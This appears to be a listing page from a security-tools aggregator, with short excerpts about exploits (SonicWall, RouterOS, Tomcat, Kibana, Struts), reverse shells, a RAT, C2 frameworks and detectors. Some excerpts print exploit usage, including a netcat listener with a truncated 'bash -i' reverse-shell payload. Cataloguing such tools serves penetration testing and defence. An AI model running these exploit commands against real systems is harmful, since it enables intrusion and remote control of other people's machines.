VisualDoor

VisualDoor Exploit de SonicWall SSL-VPN, utilizado por Phineas Fisher para hackear el Cayman Trust Bank y Hacking Team. No autenticado, te da un shell de 'nobody'. Obtener root es un ejercicio para el usuario. Para más detalles ver:...

DNS-Shell

DNS-shell DNS-Shell es un Shell interactivo a través del canal DNS. El servidor está basado en Python y puede ejecutarse en cualquier sistema operativo que tenga Python instalado, el payload es un comando de PowerShell codificado. Entendiendo DNS-Shell El payload se genera cuando se invoca el...

egressbuster

EgressBuster Copyright 2015 TrustedSec - EgressBuster Written by: David Kennedy ReL1K Company: TrustedSec DISCLAIMER: This is only for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes period. Please read the LICENSE for the licensing ...

SenselessViolence

SenselessViolence CVE-2022-31814 pfSense pfBlockerNG = 2.1.426 Exploitation Toolkit. What? This is an exploitation toolkit for the pfSense pfBlockerNG = 2.1.426 plugins remote command injection feature discovered by IHTeam. I wrote this to play around with some of the design principles found in t...

routeros-CVE-2018-14847-bytheway

By the Way By the Way is an exploit that enables a root shell on Mikrotik devices running RouterOS versions: Longterm: 6.30.1 - 6.40.7 Stable: 6.29 - 6.42.0 Beta: 6.29rc1 - 6.43rc3 The exploit leverages the path traversal vulnerability CVE-2018-14847 to extract the admin password and create an...

One-Lin3r

One-Lin3r One-Lin3r es un framework simple, modular y ligero que te proporciona todos los one-liners que necesitarás durante pruebas de penetración sistemas Windows, Linux, macOS o incluso BSD o hacking en general, con muchas funciones nuevas para automatizar todo esto por completo por ejemplo, n...

CVE-2020-1938

cve-2020-1938 1.read file： python3 tomcat.py URL -f /WEB-INF/web.xml example: python3 tomcat.py 127.0.0.1 -f /WEB-INF/web.xml -p 8090 2.excute shell add --rec 1 refere: https://www.t00ls.net/articles-55062.html...

tirith

tirith Your browser would catch this. Your terminal won't. Website | Docs | SKILL.md | Changelog | Releases Independent open-source project, with hosting supported by the Vercel Open Source Program Spring 2026 Cohort. Can you spot the difference? root@kitploit: curl -sSL...

Eden-RAT

Eden-RAT Background While developing EgoDrop and DuplexSpy, I successfully implemented an interactive shell within a C-based GUI application. I then recalled one of my earlier projects that had been suspended due to my limited development experience at the time. Therefore, I decided to revisit an...

CVE-2020-15227

CVE-2020-15227 DISCLAIMER! I take no responsibility of using it in wild life environment so please do NOT do it. This thingy is just to demonstrate and for test things for sysadmins I made this exploit according to publishing a CVE of David Grudl The founder of Nette foundation as he did not solv...

CVE-2019-7609

CVE-2019-7609 exploit CVE-2019-7609kibana RCE on right way by python2 scripts snapshot usage root@kitploit: python2 CVE-2019-7609-kibana-rce.py -h usage: CVE-2019-7609-kibana-rce.py -h -u URL -host REMOTEHOST -port REMOTEPORT --shell optional arguments: -h, --help show this help message and exit ...

CVE-2019-17558_Solr_Vul_Tool

Solr Velocity Template Injection Vulnerability Detection Tool Tool Introduction At the end of October 2019, the Solr Velocity template injection remote command execution vulnerability was disclosed. Manual detection of this vulnerability requires several rounds of capturing and modifying packets...

nushell

Nushell Un nuevo tipo de shell. Tabla de Contenidos Estado Aprender sobre Nu Instalación Configuración Filosofía Pipelines Abrir archivos Plugins Objetivos Compatible Oficialmente Con Contribuciones Licencia Estado Este proyecto ha alcanzado un nivel de calidad de producto mínimo viable. Muchas...

BerrySentinel

🫐 Berry Sentinel Real-time behavioral C2 Command & Control connection detector Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine What is it? Berry Sentinel monitors all active network connections on your system and analyzes the behavior of the processes that generate them to detec...

zuthaka

A collaborative free open-source Command & Control integration framework that allows developers to concentrate on the core function and goal of their C2. Explore the docs » · Report Bug · Request Feature · Table of Contents 1. About The Project Problem statement Solution Built With 2. Already...

php-reverse-shell

PHP Reverse Shell Just a little refresh on the popular PHP reverse shell script pentestmonkey/php-reverse-shell. Credits to the original author! Works on Linux OS and macOS with /bin/sh and Windows OS with cmd.exe. Script will automatically detect the underlying OS. Works with both, ncat and...

Girsh

Girsh Golang Interactive Reverse SHell ¿A quién no se le ha vuelto aburrido escribir manualmente las pocas líneas para mejorar una reverse shell a una shell interactiva completa spawn de tty, stty size ..., stty raw -echo o escribir el comando para usar ConPTY? Descripción Con Girsh, solo ejecúta...

QuasarNix

QuasarNix: Adversarially Robust Living-off-the-Land Reverse-Shell Detection Dmitrijs Trizna · Luca Demetrio · Battista Biggio · Fabio Roli Overview Linux living-off-the-land LOTL reverse shells abuse legitimate binaries bash, python, nc, … to establish covert outbound connections, making...

FuguHub-8.4-Authenticated-RCE-CVE-2024-27697

FuguHub 8.4 Authenticated RCE Fuguhub is a Cloud Media Server Software. The version tested was the debian version at this link: https://fuguhub.com/articles/FuguHub-for-Debian An issue in Real Time Logic LLC FuguHub v.8.4 allows a local attacker to execute arbitrary code via a crafted script to t...

CVE-2018-11776

CVE-2018-11776 Environment for CVE-2018-11776 / S2-057 Demo Run server root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080 'bash -i &...